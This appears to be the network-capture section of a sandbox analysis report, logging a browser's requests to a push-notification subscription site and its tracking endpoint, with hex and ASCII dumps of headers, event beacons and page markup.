2024-10-03 16:18:18 UTC	549	OUT	OPTIONS /report/v4?s=tMaPxRj%2F3cvWVmAFQeidWu8iuI2OxHZvPmYAAkmEbUwHs9qGTLvf3xyMNHFS16iYk%2FyTb6g3s5b1v0xz0VHchPiZweKMSzUEbEBNy3oCFkqAJ7stZVL3CWsefwvDZ348l2m85pKvgA%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://pawern.markiwalk.lat Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 16:18:18 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: POST, OPTIONS access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Thu, 03 Oct 2024 16:18:18 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.16	49791	188.114.97.3	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:18:19 UTC	547	OUT	OPTIONS /register/event_log/v9e118mez8 HTTP/1.1 Host: event.trk-elevostra.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type Origin: https://pawern.markiwalk.lat User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Referer: https://pawern.markiwalk.lat/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 16:18:19 UTC	1182	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:18:19 GMT Content-Length: 0 Connection: close expires: 0 Cache-Control: no-cache, no-store, max-age=0, must-revalidate access-control-allow-headers: content-type x-xss-protection: 1; mode=block pragma: no-cache referrer-policy: strict-origin-when-cross-origin content-security-policy: default-src 'self'; frame-src 'self' data:; connect-src 'self' https://cdn-media-2020.s3.amazonaws.com; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://storage.googleapis.com; style-src 'self' 'unsafe-inline'; img-src * 'self' https://* blob: data:; font-src 'self' data: access-control-allow-methods: POST x-frame-options: SAMEORIGIN access-control-expose-headers: Authorization, Link, X-Total-Count, X-pushPlatformApp-alert, X-pushPlatformApp-error, X-pushPlatformApp-params access-control-allow-origin: * vary: Origin vary: Access-Control-Request-Method vary: Access-Control-Request-Headers x-content-type-options: nosniff permissions-policy: camera=(), fullscreen=(self), geolocation=(), gyroscope=(), magnetometer=(), microphone=(), midi=(), payment=(), sync-xhr=() access-control-max-age: 1800 cf-cache-status: DYNAMIC
2024-10-03 16:18:19 UTC	423	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 34 3f 73 3d 77 50 45 61 47 58 43 49 73 66 64 52 55 4b 34 72 52 43 4f 25 32 46 30 48 30 45 76 44 55 7a 73 6a 5a 77 51 35 43 58 4a 42 4a 71 65 39 4d 57 77 79 78 34 71 62 79 71 39 7a 58 4e 4b 6d 4a 63 25 32 46 62 52 52 6f 30 4a 47 56 49 73 5a 34 44 45 36 6c 6c 59 63 55 39 64 64 4c 45 4f 64 4e 53 69 74 47 58 78 77 33 6a 52 44 68 6f 54 33 77 6d 39 5a 76 34 6c 25 32 46 31 43 76 57 38 61 6a 7a 59 39 77 36 37 47 25 32 42 6c 68 57 78 30 68 73 69 69 58 5a 73 44 32 41 25 33 44 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wPEaGXCIsfdRUK4rRCO%2F0H0EvDUzsjZwQ5CXJBJqe9MWwyx4qbyq9zXNKmJc%2FbRRo0JGVIsZ4DE6llYcU9ddLEOdNSitGXxw3jRDhoT3wm9Zv4l%2F1CvW8ajzY9w67G%2BlhWx0hsiiXZsD2A%3D%3D"}],"group":"cf-nel",

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.16	49792	35.190.80.1	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:18:19 UTC	486	OUT	POST /report/v4?s=tMaPxRj%2F3cvWVmAFQeidWu8iuI2OxHZvPmYAAkmEbUwHs9qGTLvf3xyMNHFS16iYk%2FyTb6g3s5b1v0xz0VHchPiZweKMSzUEbEBNy3oCFkqAJ7stZVL3CWsefwvDZ348l2m85pKvgA%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 443 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 16:18:19 UTC	443	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 35 39 39 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 30 34 2e 32 31 2e 35 37 2e 31 33 36 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 35 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 70 61 77 65 72 6e 2e 6d 61 72 6b 69 77 61 6c 6b Data Ascii: [{"age":0,"body":{"elapsed_time":599,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"","sampling_fraction":1.0,"server_ip":"104.21.57.136","status_code":405,"type":"http.error"},"type":"network-error","url":"https://pawern.markiwalk
2024-10-03 16:18:19 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Thu, 03 Oct 2024 16:18:18 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.16	49793	188.114.97.3	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:18:20 UTC	644	OUT	POST /register/event_log/v9e118mez8 HTTP/1.1 Host: event.trk-elevostra.com Connection: keep-alive Content-Length: 211 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-type: application/json Accept: / Origin: https://pawern.markiwalk.lat Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://pawern.markiwalk.lat/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 16:18:20 UTC	211	OUT	Data Raw: 7b 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 22 2c 22 75 74 6d 53 6f 75 72 63 65 22 3a 22 31 32 33 36 35 30 33 31 34 30 22 2c 22 73 6f 75 72 63 65 4f 6e 65 22 3a 22 63 47 46 33 5a 58 4a 75 4c 6d 31 68 63 6d 74 70 64 32 46 73 61 79 35 73 59 58 51 3d 22 2c 22 73 6f 75 72 63 65 54 77 6f 22 3a 22 33 35 31 35 31 38 22 2c 22 73 65 73 73 69 6f 6e 49 64 22 3a 22 22 2c 22 76 65 72 73 69 6f 6e 22 3a 38 31 38 2c 22 6d 65 73 73 61 67 65 22 3a 22 5c 22 73 75 62 73 63 72 69 62 65 5f 70 72 6f 6d 70 74 5c 22 22 2c 22 65 76 65 6e 74 22 3a 22 70 5f 73 75 62 73 63 72 69 62 65 5f 70 72 6f 6d 70 74 22 7d Data Ascii: {"timezone":"America/New_York","utmSource":"1236503140","sourceOne":"cGF3ZXJuLm1hcmtpd2Fsay5sYXQ=","sourceTwo":"351518","sessionId":"","version":818,"message":"\"subscribe_prompt\"","event":"p_subscribe_prompt"}
2024-10-03 16:18:20 UTC	1167	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:18:20 GMT Content-Length: 0 Connection: close expires: 0 Cache-Control: no-cache, no-store, max-age=0, must-revalidate x-xss-protection: 1; mode=block pragma: no-cache referrer-policy: strict-origin-when-cross-origin x-pushplatformapp-params: content-security-policy: default-src 'self'; frame-src 'self' data:; connect-src 'self' https://cdn-media-2020.s3.amazonaws.com; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://storage.googleapis.com; style-src 'self' 'unsafe-inline'; img-src * 'self' https://* blob: data:; font-src 'self' data: x-pushplatformapp-alert: pushPlatformApp.pushSubscription.deleted x-frame-options: SAMEORIGIN access-control-expose-headers: Authorization, Link, X-Total-Count, X-pushPlatformApp-alert, X-pushPlatformApp-error, X-pushPlatformApp-params access-control-allow-origin: * vary: Origin vary: Access-Control-Request-Method vary: Access-Control-Request-Headers x-content-type-options: nosniff permissions-policy: camera=(), fullscreen=(self), geolocation=(), gyroscope=(), magnetometer=(), microphone=(), midi=(), payment=(), sync-xhr=() cf-cache-status: DYNAMIC
2024-10-03 16:18:20 UTC	393	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 34 3f 73 3d 74 37 43 51 61 49 44 56 64 54 76 57 72 25 32 42 42 37 76 58 50 54 57 6c 35 75 4c 35 63 58 4b 4e 51 44 76 31 44 64 52 57 65 37 65 54 6f 30 34 70 78 78 59 61 57 77 42 39 54 56 64 58 4a 44 6c 32 47 6a 67 25 32 46 61 68 4f 64 48 67 4f 25 32 42 50 30 4c 49 78 42 6b 68 5a 79 62 35 59 4e 34 75 41 41 4c 4a 59 41 53 4e 74 55 6c 39 25 32 42 71 4a 64 61 37 65 53 33 4c 56 6d 42 65 33 56 6e 72 43 58 43 36 66 63 45 73 79 57 6b 63 6b 49 56 72 39 50 71 78 73 67 25 33 44 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=t7CQaIDVdTvWr%2BB7vXPTWl5uL5cXKNQDv1DdRWe7eTo04pxxYaWwB9TVdXJDl2Gjg%2FahOdHgO%2BP0LIxBkhZyb5YN4uAALJYASNtUl9%2BqJda7eS3LVmBe3VnrCXC6fcEsyWkckIVr9Pqxsg%3D%3D"}],"group":"cf-nel",

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.16	49795	188.114.97.3	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:18:21 UTC	376	OUT	GET /register/event_log/v9e118mez8 HTTP/1.1 Host: event.trk-elevostra.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 16:18:21 UTC	1309	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:18:21 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close expires: 0 Cache-Control: no-cache, no-store, max-age=0, must-revalidate x-xss-protection: 1; mode=block pragma: no-cache referrer-policy: strict-origin-when-cross-origin content-security-policy: default-src 'self'; frame-src 'self' data:; connect-src 'self' https://cdn-media-2020.s3.amazonaws.com; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://storage.googleapis.com; style-src 'self' 'unsafe-inline'; img-src * 'self' https://* blob: data:; font-src 'self' data: content-language: en-US x-frame-options: SAMEORIGIN vary: Origin vary: Access-Control-Request-Method vary: Access-Control-Request-Headers vary: accept-encoding last-modified: Wed, 28 Aug 2024 18:18:59 GMT x-content-type-options: nosniff permissions-policy: camera=(), fullscreen=(self), geolocation=(), gyroscope=(), magnetometer=(), microphone=(), midi=(), payment=(), sync-xhr=() cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=G006awzDg43RGp%2BbPkIvNohE%2BBB5ng9aS5fzLucjBy%2FhPGPF8s%2FHyAbX4zK%2BcVAFUEg6Yb07rybKi276Q8jCJrTcWefp8GvebCEmOvWp%2FnyY%2BSMa9LcjHC7uQ9J%2FdtLaadn0A9%2FLSlBK1w%3D%3D"}],"group":"cf-nel","max_age":604800}
2024-10-03 16:18:21 UTC	162	IN	Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2c 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 70 65 63 75 6c 61 74 69 6f 6e 2d 52 75 6c 65 73 3a 20 22 2f 63 64 6e 2d 63 67 69 2f 73 70 65 63 75 6c 61 74 69 6f 6e 22 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 63 63 65 33 66 36 32 65 39 35 38 37 63 61 35 2d 45 57 52 0d 0a 0d 0a Data Ascii: NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Speculation-Rules: "/cdn-cgi/speculation"Server: cloudflareCF-RAY: 8cce3f62e9587ca5-EWR
2024-10-03 16:18:21 UTC	1369	IN	Data Raw: 34 33 64 63 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 22 6c 74 72 22 3e 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 75 73 68 20 50 6c 61 74 66 6f 72 6d 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 50 75 73 68 20 4e 6f 74 69 66 69 63 61 74 69 6f 6e 73 20 70 6c 61 74 66 6f 72 6d 22 3e 0a 20 Data Ascii: 43dc<!DOCTYPE html><html class="no-js" lang="en" dir="ltr"><head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title>Push Platform</title> <meta name="description" content="Push Notifications platform">
2024-10-03 16:18:21 UTC	1369	IN	Data Raw: 36 30 30 3a 23 34 33 35 38 36 32 3b 2d 2d 73 75 72 66 61 63 65 2d 37 30 30 3a 23 33 32 34 32 34 39 3b 2d 2d 73 75 72 66 61 63 65 2d 38 30 30 3a 23 32 32 32 63 33 31 3b 2d 2d 73 75 72 66 61 63 65 2d 39 30 30 3a 23 31 31 31 36 31 38 3b 2d 2d 67 72 61 79 2d 35 30 3a 23 65 65 66 31 66 32 3b 2d 2d 67 72 61 79 2d 31 30 30 3a 23 64 64 65 32 65 34 3b 2d 2d 67 72 61 79 2d 32 30 30 3a 23 62 62 63 35 63 61 3b 2d 2d 67 72 61 79 2d 33 30 30 3a 23 39 38 61 38 61 66 3b 2d 2d 67 72 61 79 2d 34 30 30 3a 23 37 36 38 62 39 35 3b 2d 2d 67 72 61 79 2d 35 30 30 3a 23 35 34 36 65 37 61 3b 2d 2d 67 72 61 79 2d 36 30 30 3a 23 34 33 35 38 36 32 3b 2d 2d 67 72 61 79 2d 37 30 30 3a 23 33 32 34 32 34 39 3b 2d 2d 67 72 61 79 2d 38 30 30 3a 23 32 32 32 63 33 31 3b 2d 2d 67 72 61 79 2d Data Ascii: 600:#435862;--surface-700:#324249;--surface-800:#222c31;--surface-900:#111618;--gray-50:#eef1f2;--gray-100:#dde2e4;--gray-200:#bbc5ca;--gray-300:#98a8af;--gray-400:#768b95;--gray-500:#546e7a;--gray-600:#435862;--gray-700:#324249;--gray-800:#222c31;--gray-
2024-10-03 16:18:21 UTC	1369	IN	Data Raw: 79 61 6e 2d 39 30 30 3a 23 31 32 34 35 35 35 3b 2d 2d 70 69 6e 6b 2d 35 30 3a 23 66 64 66 34 66 39 3b 2d 2d 70 69 6e 6b 2d 31 30 30 3a 23 66 36 63 63 65 30 3b 2d 2d 70 69 6e 6b 2d 32 30 30 3a 23 65 65 61 33 63 37 3b 2d 2d 70 69 6e 6b 2d 33 30 30 3a 23 65 37 37 61 61 65 3b 2d 2d 70 69 6e 6b 2d 34 30 30 3a 23 64 66 35 32 39 36 3b 2d 2d 70 69 6e 6b 2d 35 30 30 3a 23 64 38 32 39 37 64 3b 2d 2d 70 69 6e 6b 2d 36 30 30 3a 23 62 38 32 33 36 61 3b 2d 2d 70 69 6e 6b 2d 37 30 30 3a 23 39 37 31 64 35 38 3b 2d 2d 70 69 6e 6b 2d 38 30 30 3a 23 37 37 31 37 34 35 3b 2d 2d 70 69 6e 6b 2d 39 30 30 3a 23 35 36 31 30 33 32 3b 2d 2d 69 6e 64 69 67 6f 2d 35 30 3a 23 66 34 66 36 66 64 3b 2d 2d 69 6e 64 69 67 6f 2d 31 30 30 3a 23 63 63 64 33 66 35 3b 2d 2d 69 6e 64 69 67 6f 2d Data Ascii: yan-900:#124555;--pink-50:#fdf4f9;--pink-100:#f6cce0;--pink-200:#eea3c7;--pink-300:#e77aae;--pink-400:#df5296;--pink-500:#d8297d;--pink-600:#b8236a;--pink-700:#971d58;--pink-800:#771745;--pink-900:#561032;--indigo-50:#f4f6fd;--indigo-100:#ccd3f5;--indigo-
2024-10-03 16:18:21 UTC	1369	IN	Data Raw: 38 32 34 31 30 3b 2d 2d 72 65 64 2d 37 30 30 3a 23 39 37 31 64 30 64 3b 2d 2d 72 65 64 2d 38 30 30 3a 23 37 37 31 37 30 61 3b 2d 2d 72 65 64 2d 39 30 30 3a 23 35 36 31 31 30 38 3b 2d 2d 70 72 69 6d 61 72 79 2d 35 30 3a 23 66 32 66 38 66 64 3b 2d 2d 70 72 69 6d 61 72 79 2d 31 30 30 3a 23 63 32 64 66 66 36 3b 2d 2d 70 72 69 6d 61 72 79 2d 32 30 30 3a 23 39 31 63 36 65 66 3b 2d 2d 70 72 69 6d 61 72 79 2d 33 30 30 3a 23 36 31 61 64 65 37 3b 2d 2d 70 72 69 6d 61 72 79 2d 34 30 30 3a 23 33 30 39 33 65 30 3b 2d 2d 70 72 69 6d 61 72 79 2d 35 30 30 3a 23 30 30 37 61 64 39 3b 2d 2d 70 72 69 6d 61 72 79 2d 36 30 30 3a 23 30 30 36 38 62 38 3b 2d 2d 70 72 69 6d 61 72 79 2d 37 30 30 3a 23 30 30 35 35 39 38 3b 2d 2d 70 72 69 6d 61 72 79 2d 38 30 30 3a 23 30 30 34 33 37 Data Ascii: 82410;--red-700:#971d0d;--red-800:#77170a;--red-900:#561108;--primary-50:#f2f8fd;--primary-100:#c2dff6;--primary-200:#91c6ef;--primary-300:#61ade7;--primary-400:#3093e0;--primary-500:#007ad9;--primary-600:#0068b8;--primary-700:#005598;--primary-800:#00437
2024-10-03 16:18:21 UTC	1369	IN	Data Raw: 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 2c 20 22 41 70 70 6c 65 20 43 6f 6c 6f 72 20 45 6d 6f 6a 69 22 2c 20 22 53 65 67 6f 65 20 55 49 20 45 6d 6f 6a 69 22 2c 20 22 53 65 67 6f 65 20 55 49 20 53 79 6d 62 6f 6c 22 2c 20 22 4e 6f 74 6f 20 43 6f 6c 6f 72 20 45 6d 6f 6a 69 22 3b 2d 2d 62 73 2d 66 6f 6e 74 2d 6d 6f 6e 6f 73 70 61 63 65 3a 53 46 4d 6f 6e 6f 2d 52 65 67 75 6c 61 72 2c 20 4d 65 6e 6c 6f 2c 20 4d 6f 6e 61 63 6f 2c 20 43 6f 6e 73 6f 6c 61 73 2c 20 22 4c 69 62 65 72 61 74 69 6f 6e 20 4d 6f 6e 6f 22 2c 20 22 43 6f 75 72 69 65 72 20 4e 65 77 22 2c 20 6d 6f 6e 6f 73 70 61 63 65 3b 2d 2d 62 73 2d 67 72 61 64 69 65 6e 74 3a 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 38 30 64 65 67 2c 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c Data Ascii: al, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji";--bs-font-monospace:SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;--bs-gradient:linear-gradient(180deg, rgba(255, 255, 255,
2024-10-03 16:18:21 UTC	1369	IN	Data Raw: 68 65 69 67 68 74 3a 31 2e 32 7d 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 63 61 6c 63 28 31 2e 33 37 35 72 65 6d 20 2b 20 31 2e 35 76 77 29 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 31 32 30 30 70 78 29 7b 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 35 72 65 6d 7d 7d 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 63 61 6c 63 28 31 2e 33 32 35 72 65 6d 20 2b 20 2e 39 76 77 29 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 31 32 30 30 70 78 29 7b 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 72 65 6d 7d 7d 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 63 61 6c 63 28 31 2e 33 72 65 6d 20 2b 20 2e 36 76 77 29 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 31 32 30 30 70 78 29 7b 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 35 72 65 Data Ascii: height:1.2}h1{font-size:calc(1.375rem + 1.5vw)}@media (min-width: 1200px){h1{font-size:2.5rem}}h2{font-size:calc(1.325rem + .9vw)}@media (min-width: 1200px){h2{font-size:2rem}}h3{font-size:calc(1.3rem + .6vw)}@media (min-width: 1200px){h3{font-size:1.75re
2024-10-03 16:18:21 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 76 61 72 20 68 65 61 64 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 27 68 65 61 64 27 29 5b 30 5d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 63 73 73 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 6c 69 6e 6b 27 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 66 61 76 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 6c 69 6e 6b 27 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 73 73 2e 72 65 6c 20 3d 20 27 73 74 79 6c 65 73 68 65 65 74 27 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 73 73 2e 74 79 70 65 20 3d 20 27 74 65 78 74 2f 63 73 73 27 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 61 76 2e Data Ascii: var head = document.getElementsByTagName('head')[0]; var css = document.createElement('link'); var fav = document.createElement('link'); css.rel = 'stylesheet'; css.type = 'text/css'; fav.
2024-10-03 16:18:21 UTC	1369	IN	Data Raw: 61 73 68 62 6f 61 72 64 2e 64 6d 73 70 75 73 68 2e 63 6f 6d 27 20 7c 7c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 20 3d 3d 3d 20 27 64 65 6d 6f 2e 64 6d 73 70 75 73 68 2e 63 6f 6d 27 0a 20 20 20 20 20 20 20 20 20 20 20 20 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 73 73 2e 68 72 65 66 20 3d 20 27 63 6f 6e 74 65 6e 74 2f 63 73 73 2f 6c 6f 61 64 69 6e 67 2d 64 6d 73 2e 63 73 73 27 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2f 2f 66 61 76 2e 68 72 65 66 20 3d 20 27 66 61 76 69 63 6f 6e 2d 64 6d 73 2e 69 63 6f 27 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 20 65 6c 73 65 20 69 66 20 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 Data Ascii: ashboard.dmspush.com' \|\| window.location.hostname.toLowerCase() === 'demo.dmspush.com' ) { css.href = 'content/css/loading-dms.css'; //fav.href = 'favicon-dms.ico'; } else if (window.locati
2024-10-03 16:18:21 UTC	1369	IN	Data Raw: 75 6c 74 2d 6c 6f 67 6f 2d 62 6c 6f 63 6b 22 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6c 6f 61 64 65 72 22 20 73 74 79 6c 65 3d 22 6c 65 66 74 3a 20 32 76 68 3b 20 74 6f 70 3a 20 30 3b 20 68 65 69 67 68 74 3a 20 32 76 68 3b 20 77 69 64 74 68 3a 20 30 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 6c 69 64 65 31 20 31 73 20 6c 69 6e 65 61 72 20 66 6f 72 77 61 72 64 73 20 69 6e 66 69 6e 69 74 65 22 3e 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6c 6f 61 64 65 72 22 20 73 74 79 6c 65 3d 22 72 69 67 68 74 3a 20 30 3b 20 74 6f 70 3a 20 32 76 68 3b 20 77 69 64 74 68 3a 20 32 76 68 3b 20 68 65 69 67 68 74 3a 20 30 3b Data Ascii: ult-logo-block" style="display: none"> <div class="loader" style="left: 2vh; top: 0; height: 2vh; width: 0; animation: slide1 1s linear forwards infinite"></div> <div class="loader" style="right: 0; top: 2vh; width: 2vh; height: 0;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.16	49796	172.202.163.200	443

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:18:55 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=5STWVyoMfP3orr2&MD=ZgDDNME8 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
